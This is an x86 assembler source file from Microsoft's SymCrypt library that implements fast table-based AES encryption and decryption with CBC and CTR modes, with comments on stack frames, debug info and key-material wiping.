; ; AesAsm.asm Assembler code for fast AES on the x86 ; ; Copyright (c) Microsoft Corporation. Licensed under the MIT license. ; ; This code is derived from the AesFast implemenation that ; Niels Ferguson wrote from scratch for BitLocker during Vista. ; That code is still in RSA32. ; TITLE "Advanced Encryption Standard (AES)" .586P .XMM ; ; FPO documentation: ; The .FPO provides debugging information. ; This stuff not well documented, ; but here is the information I've gathered about the arguments to .FPO ; ; In order: ; cdwLocals: Size of local variables, in DWords ; cdwParams: Size of parameters, in DWords. Given that this is all about ; stack stuff, I'm assuming this is only about parameters passed ; on the stack. ; cbProlog : Number of bytes in the prolog code. We have interleaved the ; prolog code with work for better performance. Most uses of ; .FPO seem to set this value to 0 anyway, which is what we ; will do. ; cbRegs : # registers saved in the prolog. ; fUseBP : 0 if EBP is not used as base pointer, 1 if EBP is used as base pointer ; cbFrame : Type of frame. ; 0 = FPO frame (no frame pointer) ; 1 = Trap frame (result of a CPU trap event) ; 2 = TSS frame ; ; Having looked at various occurrences of .FPO in the Windows code it ; seems to be used fairly sloppy, with lots of arguments left 0 even when ; they probably shouldn't be according to the spec. ; _TEXT SEGMENT PARA PUBLIC USE32 'CODE' ASSUME CS:_TEXT, DS:FLAT, SS:FLAT include <..\inc\symcrypt_version.inc> include symcrypt_magic.inc ; ; Structure definition that mirrors the SYMCRYPT_AES_EXPANDED_KEY structure. ; N_ROUND_KEYS_IN_AESKEY EQU 29 SYMCRYPT_AES_EXPANDED_KEY struct RoundKey db 16*N_ROUND_KEYS_IN_AESKEY dup (?) lastEncRoundKey dd ? lastDecRoundKey dd ? SYMCRYPT_MAGIC_FIELD SYMCRYPT_AES_EXPANDED_KEY ends PUBLIC @SymCryptAesEncryptAsm@12 ; PUBLIC @SymCryptAesEncryptXmm@12 PUBLIC @SymCryptAesDecryptAsm@12 ; PUBLIC @SymCryptAesDecryptXmm@12 PUBLIC @SymCryptAesCbcEncryptAsm@20 ; PUBLIC @SymCryptAesCbcEncryptXmm@20 PUBLIC @SymCryptAesCbcDecryptAsm@20 ;PUBLIC @SymCryptAesCbcDecryptXmm@20 ;PUBLIC @SymCryptAesCbcMacAsm@16 PUBLIC @SymCryptAesCtrMsb64Asm@20 ;PUBLIC @SymCryptAes4SboxXmm@8 ;PUBLIC @SymCryptAesCreateDecryptionRoundKeyXmm@8 ; PUBLIC @SymCryptAesEncryptAsmInternal@16 ; Not needed, but makes debugging easier ; PUBLIC @SymCryptAesDecryptAsmInternal@16 ; Not needed, but makes debugging easier EXTRN _SymCryptAesSboxMatrixMult:DWORD EXTRN _SymCryptAesInvSboxMatrixMult:DWORD EXTRN _SymCryptAesInvSbox:BYTE BEFORE_PROC MACRO ; ; Our current x86 compiler inserts 5 0xcc bytes before every function ; and starts every function with a 2-byte NOP. ; This supports hot-patching. ; DB 5 dup (0cch) ENDM ;===================================================================== ; AesEncrypt & AesDecrypt Macros ; ; Shorthand for the 4 tables we will use SMM0 EQU _SymCryptAesSboxMatrixMult SMM1 EQU _SymCryptAesSboxMatrixMult + 0400h SMM2 EQU _SymCryptAesSboxMatrixMult + 0800h SMM3 EQU _SymCryptAesSboxMatrixMult + 0c00h ISMM0 EQU _SymCryptAesInvSboxMatrixMult ISMM1 EQU _SymCryptAesInvSboxMatrixMult + 0400h ISMM2 EQU _SymCryptAesInvSboxMatrixMult + 0800h ISMM3 EQU _SymCryptAesInvSboxMatrixMult + 0c00h ENC_MIX MACRO load_into_esi ; ; Perform the unkeyed mixing function for encryption ; load_into_esi is the value loaded into esi by the end ; ; input block is in eax, ebx, edx, ebp ; New state ends up in ecx, edi, eax, ebp push ebp movzx ecx,al mov ecx,[SMM0 + 4 * ecx] movzx esi,ah shr eax,16 mov ebp,[SMM1 + 4 * esi] movzx edi,ah mov edi,[SMM3 + 4 * edi] movzx eax,al mov eax,[SMM2 + 4 * eax] movzx esi,bl xor edi,[SMM0 + 4 * esi] movzx esi,bh shr ebx,16 xor ecx,[SMM1 + 4 * esi] movzx esi,bl xor ebp,[SMM2 + 4 * esi] movzx ebx,bh xor eax,[SMM3 + 4 * ebx] pop ebx movzx esi,dl xor eax,[SMM0 + 4 * esi] movzx esi,dh xor edi,[SMM1 + 4 * esi] shr edx,16 movzx esi,dl xor ecx,[SMM2 + 4 * esi] movzx edx,dh xor ebp,[SMM3 + 4 * edx] mov esi,[load_into_esi] movzx edx,bl xor ebp,[SMM0 + 4 * edx] movzx edx,bh xor eax,[SMM1 + 4 * edx] shr ebx,16 movzx edx,bl xor edi,[SMM2 + 4 * edx] movzx ebx,bh xor ecx,[SMM3 + 4 * ebx] ENDM DEC_MIX MACRO load_into_esi ; ; Perform the unkeyed mixing function for decryption ; load_into_esi is the value loaded into esi by the end ; ; input block is in eax, ebx, edx, ebp ; New state ends up in ecx, edi, eax, ebp push ebp movzx ecx,al mov ecx,[ISMM0 + 4 * ecx] movzx esi,ah shr eax,16 mov edi,[ISMM1 + 4 * esi] movzx ebp,ah mov ebp,[ISMM3 + 4 * ebp] movzx eax,al mov eax,[ISMM2 + 4 * eax] movzx esi,bl xor edi,[ISMM0 + 4 * esi] movzx esi,bh shr ebx,16 xor eax,[ISMM1 + 4 * esi] movzx esi,bl xor ebp,[ISMM2 + 4 * esi] movzx ebx,bh xor ecx,[ISMM3 + 4 * ebx] pop ebx movzx esi,dl xor eax,[ISMM0 + 4 * esi] movzx esi,dh xor ebp,[ISMM1 + 4 * esi] shr edx,16 movzx esi,dl xor ecx,[ISMM2 + 4 * esi] movzx edx,dh xor edi,[ISMM3 + 4 * edx] mov esi,[load_into_esi] movzx edx,bl xor ebp,[ISMM0 + 4 * edx] movzx edx,bh xor ecx,[ISMM1 + 4 * edx] shr ebx,16 movzx edx,bl xor edi,[ISMM2 + 4 * edx] movzx ebx,bh xor eax,[ISMM3 + 4 * ebx] ENDM ADD_KEY MACRO keyptr ; ; Input is block in ecx, edi, eax, ebp ; keyptr points to the round key ; Output is in eax, ebx, edx, ebp ; mov edx, [keyptr+8] xor edx, eax mov eax, [keyptr] xor eax, ecx xor ebp, [keyptr+12] mov ebx, [keyptr+4] xor ebx, edi ENDM AES_ENC MACRO load_into_esi_offset ; ; Plaintext in eax,ebx,edx,ebp ; ecx points to first round key to use ; [key_limit] is last key to use ; [key_ptr] is temp storage area on stack ; ; Ciphertext ends up in ecx,edi,eax,ebp ; ; Loads [esp+load_into_esi_offset] into esi, except of offset = -1 ; xor eax,[ecx] xor ebx,[ecx+4] xor edx,[ecx+8] xor ebp,[ecx+12] lea ecx,[ecx+16] mov [key_ptr],ecx align 16 @@: ; Block is in eax,ebx,edx,ebp ; ecx points to next round key ENC_MIX key_ptr ADD_KEY esi add esi,16 cmp esi,[key_limit] mov [key_ptr],esi jc @B push ebp movzx ecx,al movzx ecx,byte ptr SMM0[1 + 4 * ecx] movzx esi,ah shr eax,16 movzx ebp,byte ptr SMM0[1 + 4 * esi] movzx edi,ah shl ebp,8 movzx edi,byte ptr SMM0[1 + 4 * edi] movzx eax,al shl edi,24 movzx eax,byte ptr SMM0[1 + 4 * eax] shl eax,16 movzx esi,bl movzx esi,byte ptr SMM0[1 + 4 * esi] or edi,esi movzx esi,bh shr ebx,16 movzx esi,byte ptr SMM0[1 + 4 * esi] shl esi,8 or ecx,esi movzx esi,bl movzx esi,byte ptr SMM0[1 + 4 * esi] movzx ebx,bh shl esi,16 movzx ebx,byte ptr SMM0[1 + 4 * ebx] or ebp,esi shl ebx,24 or eax,ebx movzx esi,dl movzx esi,byte ptr SMM0[1 + 4 * esi] movzx ebx,dh shr edx,16 movzx ebx,byte ptr SMM0[1 + 4 * ebx] or eax,esi shl ebx,8 movzx esi,dl movzx esi,byte ptr SMM0[1 + 4 * esi] or edi,ebx pop ebx movzx edx,dh movzx edx,byte ptr SMM0[1 + 4 * edx] shl esi,16 or ecx,esi shl edx,24 or ebp,edx movzx esi,bl movzx esi,byte ptr SMM0[1 + 4 * esi] movzx edx,bh shr ebx,16 movzx edx,byte ptr SMM0[1 + 4 * edx] or ebp,esi shl edx,8 or eax,edx mov edx,[key_ptr] movzx esi,bl movzx esi,byte ptr SMM0[1 + 4 * esi] movzx ebx,bh movzx ebx,byte ptr SMM0[1 + 4 * ebx] shl esi,16 shl ebx,24 or edi,esi IF load_into_esi_offset NE -1 mov esi,[esp+load_into_esi_offset] ENDIF or ecx,ebx xor ecx,[edx] xor edi,[edx+4] xor eax,[edx+8] xor ebp,[edx+12] ENDM AES_DEC MACRO load_into_esi_offset ; ; ; Ciphertext in eax,ebx,edx,ebp ; ecx points to first round key to use ; [key_limit] is last key to use ; [key_ptr] is temp storage area on stack ; ; Plaintext ends up in eax,ebc,edx,ebp ; xor eax,[ecx] xor ebx,[ecx+4] xor edx,[ecx+8] xor ebp,[ecx+12] lea ecx,[ecx+16] mov [key_ptr],ecx align 16 @@: ; Block is in eax,ebx,edx,ebp ; ecx points to next round key DEC_MIX key_ptr ADD_KEY esi add esi,16 cmp esi,[key_limit] mov [key_ptr],esi jc @B push ebp movzx ecx,al movzx ecx,_SymCryptAesInvSbox[ecx] movzx edi,ah shr eax,16 movzx edi,_SymCryptAesInvSbox[edi] movzx esi,ah shl edi,8 movzx ebp,_SymCryptAesInvSbox[esi] movzx eax,al shl ebp,24 movzx eax,_SymCryptAesInvSbox[eax] shl eax,16 movzx esi,bl movzx esi,_SymCryptAesInvSbox[esi] or edi,esi movzx esi,bh shr ebx,16 movzx esi,_SymCryptAesInvSbox[esi] shl esi,8 or eax,esi movzx esi,bl movzx esi,_SymCryptAesInvSbox[esi] movzx ebx,bh shl esi,16 movzx ebx,_SymCryptAesInvSbox[ebx] or ebp,esi shl ebx,24 or ecx,ebx movzx esi,dl movzx esi,_SymCryptAesInvSbox[esi] movzx ebx,dh shr edx,16 movzx ebx,_SymCryptAesInvSbox[ebx] or eax,esi shl ebx,8 movzx esi,dl movzx esi,_SymCryptAesInvSbox[esi] or ebp,ebx pop ebx movzx edx,dh movzx edx,_SymCryptAesInvSbox[edx] shl esi,16 or ecx,esi shl edx,24 or edi,edx movzx esi,bl movzx esi,_SymCryptAesInvSbox[esi] movzx edx,bh shr ebx,16 movzx edx,_SymCryptAesInvSbox[edx] or ebp,esi shl edx,8 or ecx,edx mov edx,[key_ptr] movzx esi,bl movzx esi,_SymCryptAesInvSbox[esi] movzx ebx,bh movzx ebx,_SymCryptAesInvSbox[ebx] shl esi,16 shl ebx,24 or edi,esi IF load_into_esi_offset NE -1 mov esi,[esp+load_into_esi_offset] ENDIF or eax,ebx xor ecx,[edx] xor edi,[edx+4] xor eax,[edx+8] xor ebp,[edx+12] ENDM if 0 ; We use the macro throughout, no need for the internal Enc/Dec routines ;===================================================================== ; Internal AesEncrypt & AesDecrypt ; ; ; SymCryptAesEncryptAsmInternal ; ; Internal AES encryption routine with modified calling convention. ; This is a bare-bones AES encryption routine which can only be called from assembler code ; as the calling convention is modified. ; ; Input: plaintext in eax,ebx,edx,ebp ; ecx points to first round key to use ; [esp+8] points to last round key to use (key_limit) ; [esp+4] is scratch area on stack ; ; Output: ciphertext in ecx,edi,eax,ebp ; The stack is unchanged. ; ; To call this function you push two values on the stack: the key limit and a scratch space value. ; Note that key_limit remains the same for most applications that need multiple AES encryptions. ; For example, a CBC implementation can leave key_limit and the scratch space on the stack throughout the main loop. ; ; This function uses one stack variable for temporary storage. This is located just above the return address; ; callers should wipe this area before returning as it contains keying material. ; BEFORE_PROC align 16 ; We align this function for speed reasons @SymCryptAesEncryptAsmInternal@16 PROC .FPO(0,2,0,0,0,0) key_limit equ esp+8 key_ptr equ esp+4 ; ; Plaintext in eax,ebx,edx,ebp ; ecx points to first round key to use ; [key_limit] is last key to use ; [key_ptr] is temp storage area on stack ; ; Ciphertext ends up in ecx,edi,eax,ebp ; AES_ENC -1 ret @SymCryptAesEncryptAsmInternal@16 ENDP ; ; SymCryptAesDecryptAsmInternal ; ; Internal AES decryption routine with modified calling convention. ; This is a bare-bones AES decryption routine which can only be called from assembler code ; as the calling convention is modified. ; ; Input: ciphertext in eax,ebx,edx,ebp ; ecx points to first round key to use ; [esp+8] points to last round key to use (key_limit) ; [esp+4] is scratch area on stack ; ; Output: plaintext in ecx,edi,eax,ebp ; The stack is unchanged. ; ; To call this function you push two values on the stack: the key limit and a scratch space value. ; Note that key_limit remains the same for most applications that need multiple AES encryptions. ; For example, a CBC implementation can leave key_limit and the scratch space on the stack throughout the main loop. ; ; This function uses one stack variable for temporary storage. This is located just above the return address; ; callers should wipe this area before returning as it contains keying material. ; BEFORE_PROC align 16 @SymCryptAesDecryptAsmInternal@16 PROC .FPO(0,2,0,0,0,0) key_limit equ esp+8 key_ptr equ esp+4 ; ; Ciphertext in eax,ebx,edx,ebp ; ecx points to first round key to use ; [key_limit] is last key to use ; [key_ptr] is temp storage area on stack ; [tmp_buffer] is 16-byte temp buffer ; ; Plaintext ends up in eax,ebc,edx,ebp ; AES_DEC -1 ret @SymCryptAesDecryptAsmInternal@16 ENDP endif BEFORE_PROC @SymCryptAesEncryptAsm@12 PROC ;VOID ;SYMCRYPT_CALL ;SymCryptAesEncrypt( _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _In_reads_bytes_( SYMCRYPT_AES_BLOCK_LEN ) PCBYTE pbPlaintext, ; _Out_writes_bytes_( SYMCRYPT_AES_BLOCK_LEN ) PBYTE pbCiphertext ); ; ; ; The .FPO provides debugging information. ; This stuff not well documented, ; but here is the information I've gathered about the arguments to .FPO ; ; In order: ; cdwLocals: Size of local variables, in DWords ; cdwParams: Size of parameters, in DWords. Given that this is all about ; stack stuff, I'm assuming this is only about parameters passed ; on the stack. ; cbProlog : Number of bytes in the prolog code. We have interleaved the ; prolog code with work for better performance. Most uses of ; .FPO seem to set this value to 0 anyway, which is what we ; will do. ; cbRegs : # registers saved in the prolog. 4 in our case ; fUseBP : 0 if EBP is not used as base pointer, 1 if EBP is used as base pointer ; cbFrame : Type of frame. ; 0 = FPO frame (no frame pointer) ; 1 = Trap frame (result of a CPU trap event) ; 2 = TSS frame ; ; Having looked at various occurrences of .FPO in the Windows code it ; seems to be used fairly sloppy, with lots of arguments left 0 even when ; they probably shouldn't be according to the spec. ; .FPO(6,1,0,4,0,0) AesEncryptFrame struct 4, NONUNIQUE key_pointer dd ? lastRoundKey dd ? SaveEdi dd ? SaveEsi dd ? SaveEbp dd ? SaveEbx dd ? ReturnAddress dd ? Ciphertext dd ? AesEncryptFrame ends ; ecx = AesKey ; edx = Plaintext ; [esp+4] = Ciphertext ; ; 2-byte NOP for hot patching ; This is what our current compiler does for every function, so we will follow ; that. ; mov edi,edi ; ; Set up our stack frame ; push ebx push ebp push esi push edi sub esp, 8 SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY ; Load the plaintext block into eax,ebx,edx,ebp mov eax,[edx] mov ebx,[edx+4] mov ebp,[edx+12] mov edx,[edx+8] ; Plaintext ptr no longer needed ; Get the address of the last round key mov esi,[ecx+SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] mov [esp+AesEncryptFrame.lastRoundKey],esi key_limit equ esp + AesEncryptFrame.lastRoundKey key_ptr equ esp + AesEncryptFrame.key_pointer AES_ENC AesEncryptFrame.Ciphertext ; call @SymCryptAesEncryptAsmInternal@16 ;mov esi,[esp+AesEncryptFrame.Ciphertext] mov [esi],ecx mov [esi+4],edi mov [esi+8],eax mov [esi+12],ebp ; wipe the stack location we used for temporary pushes mov [esp-8],esp add esp,8 pop edi pop esi pop ebp pop ebx ret 4 @SymCryptAesEncryptAsm@12 ENDP BEFORE_PROC @SymCryptAesDecryptAsm@12 PROC ;VOID ;AesDecrypt( _In_ PCADD_KEY AesKey, ; _In_reads_bytes_(AES_BLOCK_SIZE) PCBYTE Ciphertext, ; _Out_writes_bytes_(AES_BLOCK_SIZE) PBYTE Plaintext ; ) .FPO(6,1,0,4,0,0) AesDecryptFrame struct 4, NONUNIQUE key_pointer dd ? lastRoundKey dd ? SaveEdi dd ? SaveEsi dd ? SaveEbp dd ? SaveEbx dd ? ReturnAddress dd ? Plaintext dd ? AesDecryptFrame ends ; ecx = AesKey ; edx = Ciphertext ; [esp+4] = Plaintext ; ; 2-byte NOP for hot patching ; This is what our current compiler does for every function, so we will follow ; that. ; mov edi,edi ; ; Set up our stack frame ; push ebx push ebp push esi push edi sub esp, 8 SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY ; Load the ciphertext block into eax,ebx,edx,ebp mov eax,[edx] mov ebx,[edx+4] mov ebp,[edx+12] mov edx,[edx+8] ; Ciphertext ptr no longer needed ; Get the address of the last round key mov esi,[ecx+SYMCRYPT_AES_EXPANDED_KEY.lastDecRoundKey] ; esi = lastDecRoundKey mov ecx,[ecx+SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] ; ecx = lastEncRoundKey = first Dec round key mov [esp+AesDecryptFrame.lastRoundKey],esi key_limit equ esp + AesDecryptFrame.lastRoundKey key_ptr equ esp + AesDecryptFrame.key_pointer AES_DEC AesDecryptFrame.Plaintext mov [esi],ecx mov [esi+4],edi mov [esi+8],eax mov [esi+12],ebp mov [esp-8],esp add esp,8 pop edi pop esi pop ebp pop ebx ret 4 @SymCryptAesDecryptAsm@12 ENDP BEFORE_PROC @SymCryptAesCbcEncryptAsm@20 PROC ;VOID ;SYMCRYPT_CALL ;SymCryptAesCbcEncrypt( ; _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _In_reads_bytes_( SYMCRYPT_AES_BLOCK_SIZE ) PBYTE pbChainingValue, ; _In_reads_bytes_( cbData ) PCBYTE pbSrc, ; _Out_writes_bytes_( cbData ) PBYTE pbDst, ; SIZE_T cbData ); ; .FPO(9,3,0,4,0,0) AesCbcEncryptFrame struct 4, NONUNIQUE key_pointer dd ? lastRoundKey dd ? pbEndDst dd ? firstRoundKey dd ? pbChainingValue dd ? SaveEdi dd ? SaveEsi dd ? SaveEbp dd ? SaveEbx dd ? ReturnAddress dd ? pbSrc dd ? pbDst dd ? cbData dd ? AesCbcEncryptFrame ends ; ecx = pExpandedKey ; edx = pbChainingValue ; [esp+4...] = pbSrc, pbDst, cbData ; ; 2-byte NOP for hot patching ; This is what our current compiler does for every function, so we will follow ; that. ; mov edi,edi ; ; Set up our stack frame ; push ebx push ebp push esi push edi push edx ; pbChainingValue push ecx ; pbExpandedKey points to the first round key sub esp, 12 SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY mov eax,[esp + AesCbcEncryptFrame.cbData] and eax, NOT 15 jz AesCbcEncryptDoNothing ; Get & store the address of the last round key mov ebx,[ecx+SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] mov [esp+AesCbcEncryptFrame.lastRoundKey],ebx mov esi,[esp + AesCbcEncryptFrame.pbDst] add eax,esi mov [esp + AesCbcEncryptFrame.pbEndDst], eax ; ; Convert pbSrc to an offset from pbDst to reduce the # updates ; in a loop ; ;mov ecx,[esp + AesCbcEncryptFrame.pbSrc] ;sub ecx, esi ;mov [esp + AesCbcEncryptFrame.pbSrc], ecx ; esi = pbDst ; Load state from chaining value ; State is in ecx,edi,eax,ebp mov ecx,[edx] mov edi,[edx + 4] mov eax,[edx + 8] mov ebp,[edx + 12] AesCbcEncryptLoop: ; Invariant: ; State in (ecx, edi, eax, ebp) ; esi = pbDst for next block ; ; Change esi to point to current pbSrc pointer. pbSrc is here an offset from pbDst. ; mov esi,[esp + AesCbcEncryptFrame.pbSrc] ; ; Xor next plaintext block & move state to (eax, ebx, edx, ebp) ; We keep the reads sequentially to help the HW prefetch logic in the CPU ; xor ecx, [esi] mov ebx, [esi + 4] xor ebx, edi mov edx, [esi + 8] xor edx, eax mov eax, ecx xor ebp, [esi + 12] add esi, 16 mov [esp + AesCbcEncryptFrame.pbSrc], esi mov ecx,[esp + AesCbcEncryptFrame.firstRoundKey] key_limit equ esp + AesCbcEncryptFrame.lastRoundKey key_ptr equ esp + AesCbcEncryptFrame.key_pointer AES_ENC AesCbcEncryptFrame.pbDst ; argument is address that is loaded into esi ;call @SymCryptAesEncryptAsmInternal@16 ;mov esi,[esp + AesCbcEncryptFrame.pbDst] mov [esi], ecx mov [esi + 4], edi mov [esi + 8], eax mov [esi + 12], ebp add esi,16 cmp esi,[esp + AesCbcEncryptFrame.pbEndDst] mov [esp + AesCbcEncryptFrame.pbDst], esi jb AesCbcEncryptLoop mov edx,[esp + AesCbcEncryptFrame.pbChainingValue] mov [edx], ecx mov [edx + 4], edi mov [edx + 8], eax mov [edx + 12], ebp ; ; Wipe the one stack location that the internal encrypt routine uses ; for temporary data storage ; mov [esp - 8], esp AesCbcEncryptDoNothing: add esp, 20 pop edi pop esi pop ebp pop ebx ret 12 @SymCryptAesCbcEncryptAsm@20 ENDP BEFORE_PROC @SymCryptAesCbcDecryptAsm@20 PROC ;VOID ;SYMCRYPT_CALL ;SymCryptAesCbcDecrypt( ; _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _In_reads_bytes_( SYMCRYPT_AES_BLOCK_SIZE ) PBYTE pbChainingValue, ; _In_reads_bytes_( cbData ) PCBYTE pbSrc, ; _Out_writes_bytes_( cbData ) PBYTE pbDst, ; SIZE_T cbData ); ; .FPO(13,3,0,4,0,0) AesCbcDecryptFrame struct 4, NONUNIQUE key_pointer dd ? lastRoundKey dd ? newChainValue dd 4 dup (?) ; New chaining value after the call pbCurrentDst dd ? firstRoundKey dd ? pbChainingValue dd ? SaveEdi dd ? SaveEsi dd ? SaveEbp dd ? SaveEbx dd ? ReturnAddress dd ? pbSrc dd ? pbDst dd ? cbData dd ? AesCbcDecryptFrame ends ; ecx = pExpandedKey ; edx = pbChainingValue ; [esp+4...] = pbSrc, pbDst, cbData ; ; 2-byte NOP for hot patching ; This is what our current compiler does for every function, so we will follow ; that. ; mov edi,edi ; ; Set up our stack frame ; push ebx push ebp push esi push edi push edx ; pbChainingValue sub esp, 32 SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY mov eax,[esp + AesCbcDecryptFrame.cbData] and eax, NOT 15 jz AesCbcDecryptDoNothing ; Get & store the address of the first & last round key mov ebx,[ecx+SYMCRYPT_AES_EXPANDED_KEY.lastDecRoundKey] mov [esp+AesCbcDecryptFrame.lastRoundKey],ebx sub eax, 16 mov ecx,[ecx + SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] ; = first dec round key mov [esp + AesCbcDecryptFrame.firstRoundKey], ecx mov edi,[esp + AesCbcDecryptFrame.pbDst] add edi, eax mov [esp + AesCbcDecryptFrame.pbCurrentDst], edi ; points to last block in buffer mov esi,[esp + AesCbcDecryptFrame.pbSrc] add esi, eax mov [esp + AesCbcDecryptFrame.pbSrc], esi ; ; Load last block & store it for the chaining output ; mov eax,[esi] mov [esp + AesCbcDecryptFrame.newChainValue], eax mov ebx,[esi + 4] mov [esp + AesCbcDecryptFrame.newChainValue + 4], ebx mov edx,[esi + 8] mov [esp + AesCbcDecryptFrame.newChainValue + 8], edx mov ebp,[esi + 12] mov [esp + AesCbcDecryptFrame.newChainValue + 12], ebp jmp AesCbcDecryptLoopEnter AesCbcDecryptLoop: ; Invariant: ; State in (ecx, edi, eax, ebp) ; State is just after decrypt, but before feed-forward xor ; esi = pbCurrentDst for just decrypted state ; pbSrc = corresponding position in Src buffer mov ebx,[esp + AesCbcDecryptFrame.pbSrc] mov edx,[ebx - 16 + 8] xor eax, edx mov [esi + 16 + 8], eax mov eax,[ebx - 16 + 0] xor ecx, eax mov [esi + 16 + 0], ecx lea ecx, [ebx - 16] ; decrement + move ptr to allow register shuffle mov ebx,[ebx - 16 + 4] xor edi, ebx mov [esi + 16 + 4], edi mov edi,[ecx + 12] xor ebp, edi mov [esi + 16 + 12], ebp mov ebp, edi mov [esp + AesCbcDecryptFrame.pbSrc], ecx mov ecx,[esp + AesCbcDecryptFrame.firstRoundKey] AesCbcDecryptLoopEnter: key_limit equ esp + AesCbcDecryptFrame.lastRoundKey key_ptr equ esp + AesCbcDecryptFrame.key_pointer AES_DEC AesCbcDecryptFrame.pbCurrentDst ;call @SymCryptAesDecryptAsmInternal@16 ;mov esi,[esp + AesCbcDecryptFrame.pbCurrentDst] cmp esi,[esp + AesCbcDecryptFrame.pbDst] lea esi,[esi-16] mov [esp + AesCbcDecryptFrame.pbCurrentDst], esi ja AesCbcDecryptLoop ; ; Xor with chaining value and store last block (first in output buffer) ; mov ebx,[esp + AesCbcDecryptFrame.pbChainingValue] xor ecx,[ebx] mov [esi + 16], ecx xor edi,[ebx + 4] mov [esi + 16 + 4], edi xor eax,[ebx + 8] mov [esi + 16 + 8], eax xor ebp,[ebx + 12] mov [esi + 16+12], ebp ; ; Set the new chaining value ; mov eax,[esp + AesCbcDecryptFrame.newChainValue + 0] mov [ebx + 0], eax mov ecx,[esp + AesCbcDecryptFrame.newChainValue + 4] mov [ebx + 4], ecx mov eax,[esp + AesCbcDecryptFrame.newChainValue + 8] mov [ebx + 8], eax mov ecx,[esp + AesCbcDecryptFrame.newChainValue + 12] mov [ebx + 12], ecx ; Wipe the one stack location that the internal encrypt routine uses ; for temporary data storage ; mov [esp - 8], esp AesCbcDecryptDoNothing: add esp, 36 pop edi pop esi pop ebp pop ebx ret 12 @SymCryptAesCbcDecryptAsm@20 ENDP BEFORE_PROC @SymCryptAesCtrMsb64Asm@20 PROC ;VOID ;SYMCRYPT_CALL ;SymCryptAesCtrMsb64( ; _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _Inout_updates_bytes_( SYMCRYPT_AES_BLOCK_SIZE ) PBYTE pbChainingValue, ; _In_reads_bytes_( cbData ) PCBYTE pbSrc, ; _Out_writes_bytes_( cbData ) PBYTE pbDst, ; SIZE_T cbData ) .FPO(13,3,0,4,0,0) AesCtrMsb64Frame struct 4, NONUNIQUE key_pointer dd ? lastRoundKey dd ? chainValue dd 4 dup (?) pbEndDst dd ? firstRoundKey dd ? pbChainingValue dd ? SaveEdi dd ? SaveEsi dd ? SaveEbp dd ? SaveEbx dd ? ReturnAddress dd ? pbSrc dd ? pbDst dd ? cbData dd ? AesCtrMsb64Frame ends ; ecx = pExpandedKey ; edx = pbChainingValue ; [esp+4...] = pbSrc, pbDst, cbData ; ; 2-byte NOP for hot patching ; This is what our current compiler does for every function, so we will follow ; that. ; mov edi,edi ; ; Set up our stack frame ; push ebx push ebp push esi push edi push edx ; pbChainingValue push ecx ; pbExpandedKey points to the first round key sub esp, 28 SYMCRYPT_CHECK_MAGIC ecx, SYMCRYPT_AES_EXPANDED_KEY mov eax,[esp + AesCtrMsb64Frame.cbData] and eax, NOT 15 jz AesCtrMsb64DoNothing ; Get & store the address of the last round key mov ebx,[ecx+SYMCRYPT_AES_EXPANDED_KEY.lastEncRoundKey] mov [esp+AesCtrMsb64Frame.lastRoundKey],ebx mov esi,[esp + AesCtrMsb64Frame.pbDst] add eax,esi mov [esp + AesCtrMsb64Frame.pbEndDst], eax ; esi = pbDst ; Load state from chaining value & copy into local stack ; State is in ecx,edi,eax,ebp mov eax,[edx] mov [esp + AesCtrMsb64Frame.chainValue], eax mov ebx,[edx + 4] mov [esp + AesCtrMsb64Frame.chainValue + 4], ebx mov ebp,[edx + 12] mov edx,[edx + 8] AesCtrMsb64Loop: ; Invariant: ; counter State in (eax, ebx, edx, ebp) ; first 8 bytes of counter state in [esp+chainValue] ; ; Write the updated counter value to the local copy ; mov [esp + AesCtrMsb64Frame.chainValue + 8], edx mov ecx,[esp + AesCtrMsb64Frame.firstRoundKey] mov [esp + AesCtrMsb64Frame.chainValue + 12], ebp key_limit equ esp + AesCtrMsb64Frame.lastRoundKey key_ptr equ esp + AesCtrMsb64Frame.key_pointer AES_ENC AesCtrMsb64Frame.pbSrc ; result is in (ecx, edi, eax, ebp) ; esi = pbSrc mov ebx,[esp + AesCtrMsb64Frame.pbDst] ; ; Read the Src block, xor it with the state, and write it to Dst ; xor ecx,[esi] mov [ebx],ecx xor edi,[esi+4] mov [ebx+4],edi xor eax,[esi+8] mov [ebx+8],eax xor ebp,[esi+12] mov [ebx+12],ebp add esi, 16 mov [esp + AesCtrMsb64Frame.pbSrc], esi lea ecx,[ebx + 16] ; increment and move pointer to allow reg shuffle ; ; Load the current chain value, and do the increment ; mov ebp,[esp + AesCtrMsb64Frame.chainValue+12] bswap ebp mov edx,[esp + AesCtrMsb64Frame.chainValue+8] bswap edx add ebp,1 mov eax,[esp + AesCtrMsb64Frame.chainValue] adc edx, 0 mov ebx,[esp + AesCtrMsb64Frame.chainValue+4] bswap ebp bswap edx cmp ecx,[esp + AesCtrMsb64Frame.pbEndDst] mov [esp + AesCtrMsb64Frame.pbDst], ecx jb AesCtrMsb64Loop ; ; Write the updated chaining value; we only need to update 8 bytes ; mov ebx,[esp + AesCtrMsb64Frame.pbChainingValue] mov [ebx + 8], edx mov [ebx + 12], ebp ; ; Wipe our local copy of the chaining value ; xor eax,eax mov [esp + AesCtrMsb64Frame.chainValue], eax mov [esp + AesCtrMsb64Frame.chainValue + 4], eax mov [esp + AesCtrMsb64Frame.chainValue + 8], eax mov [esp + AesCtrMsb64Frame.chainValue + 12], eax ; ; Wipe the one stack location that the internal encrypt routine uses ; for temporary data storage ; mov [esp - 8], esp AesCtrMsb64DoNothing: add esp, 36 pop edi pop esi pop ebp pop ebx ret 12 @SymCryptAesCtrMsb64Asm@20 ENDP if 0 ; disabled while we concentrate on reaching RSA32 parity. The code below works though. BEFORE_PROC @SymCryptAesCbcMacAsm@16 PROC ;VOID ;SYMCRYPT_CALL ;SymCryptAesCbcMac( ; _In_ PCSYMCRYPT_AES_EXPANDED_KEY 